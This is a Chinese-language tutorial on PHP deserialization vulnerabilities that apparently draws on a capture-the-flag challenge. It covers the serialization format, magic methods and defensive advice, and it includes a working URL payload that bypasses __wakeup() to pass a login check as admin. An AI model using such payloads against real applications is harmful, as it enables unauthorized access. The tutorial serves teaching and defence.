PHP反序列化漏洞入门
字数 941 2025-08-18 11:39:11

PHP反序列化漏洞详解

序列化与反序列化基础

基本概念

序列化是将一个对象转换成字符串的过程,字符串包含:

  • 属性名
  • 属性值
  • 属性类型
  • 对象对应的类名

反序列化则是将序列化后的字符串重新恢复成对象的过程。

PHP序列化语法

示例序列化字符串:

O:3:"Ctf":3:{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

各部分含义:

  • O:表示对象(数组用A表示)
  • 3:类名长度("Ctf"有3个字符)
  • "Ctf":类名
  • 3:对象属性数量
  • s:4:"flag":字符串类型,长度4,属性名"flag"
  • s:13:"flag{abedyui}":字符串类型,长度13,属性值"flag{abedyui}"

访问控制修饰符的影响

不同访问修饰符会影响序列化结果:

  1. public(公有):正常序列化
  2. protected(受保护):属性名前会添加%00*%00
    • 示例:s:6:"*age"(实际为%00*%00age
  3. private(私有):属性名前会添加%00类名%00
    • 示例:s:9:"Ctfflag"(实际为%00Ctf%00flag

魔术方法

__sleep()

在序列化时自动调用:

  • 可以决定哪些属性被序列化
  • 如果不存在,默认序列化所有属性

示例:

public function __sleep() {
    return array('flag', 'age'); // 只序列化flag和age属性
}

__wakeup()

在反序列化时自动调用:

  • 可对属性进行初始化或修改
  • 存在漏洞:当序列化字符串中对象属性个数大于实际属性个数时,会跳过__wakeup()的执行

反序列化漏洞利用

绕过__wakeup()

通过修改序列化字符串中属性数量来绕过__wakeup():

原始序列化:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

修改为(将属性数量从1改为2):

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

实际利用案例

  1. 发现目标网站存在www.zip备份文件
  2. 分析源码发现反序列化点:
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
  1. 分析class.php,发现需要满足:
username = 'admin'
password = 100
  1. 但存在__wakeup()干扰:
function __wakeup(){
    $this->username = 'guest';
}
  1. 构造payload:
  • 本地序列化:
$a = new Name('admin',100);
$b = serialize($a);
print_r($b);

得到:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
  1. 最终payload(绕过__wakeup()并处理私有属性):
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

关键点:

  • 将属性数量从2改为3
  • 保留私有属性的%00前缀(URL编码)

防御建议

  1. 不要反序列化不可信的用户输入
  2. 使用白名单验证反序列化前的数据
  3. 考虑使用JSON等更安全的序列化格式
  4. 对魔术方法中的安全逻辑进行严格检查
  5. 保持框架和库的最新版本,及时修复已知漏洞
PHP反序列化漏洞详解 序列化与反序列化基础 基本概念 序列化 是将一个对象转换成字符串的过程,字符串包含: 属性名 属性值 属性类型 对象对应的类名 反序列化 则是将序列化后的字符串重新恢复成对象的过程。 PHP序列化语法 示例序列化字符串: 各部分含义: O :表示对象(数组用 A 表示) 3 :类名长度("Ctf"有3个字符) "Ctf" :类名 3 :对象属性数量 s:4:"flag" :字符串类型,长度4,属性名"flag" s:13:"flag{abedyui}" :字符串类型,长度13,属性值"flag{abedyui}" 访问控制修饰符的影响 不同访问修饰符会影响序列化结果: public(公有) :正常序列化 protected(受保护) :属性名前会添加 %00*%00 示例: s:6:"*age" (实际为 %00*%00age ) private(私有) :属性名前会添加 %00类名%00 示例: s:9:"Ctfflag" (实际为 %00Ctf%00flag ) 魔术方法 __ sleep() 在序列化时自动调用: 可以决定哪些属性被序列化 如果不存在,默认序列化所有属性 示例: __ wakeup() 在反序列化时自动调用: 可对属性进行初始化或修改 存在漏洞:当序列化字符串中对象属性个数大于实际属性个数时,会跳过__ wakeup()的执行 反序列化漏洞利用 绕过__ wakeup() 通过修改序列化字符串中属性数量来绕过__ wakeup(): 原始序列化: 修改为(将属性数量从1改为2): 实际利用案例 发现目标网站存在 www.zip 备份文件 分析源码发现反序列化点: 分析class.php,发现需要满足: 但存在__ wakeup()干扰: 构造payload: 本地序列化: 得到: 最终payload(绕过__ wakeup()并处理私有属性): 关键点: 将属性数量从2改为3 保留私有属性的 %00 前缀(URL编码) 防御建议 不要反序列化不可信的用户输入 使用白名单验证反序列化前的数据 考虑使用JSON等更安全的序列化格式 对魔术方法中的安全逻辑进行严格检查 保持框架和库的最新版本,及时修复已知漏洞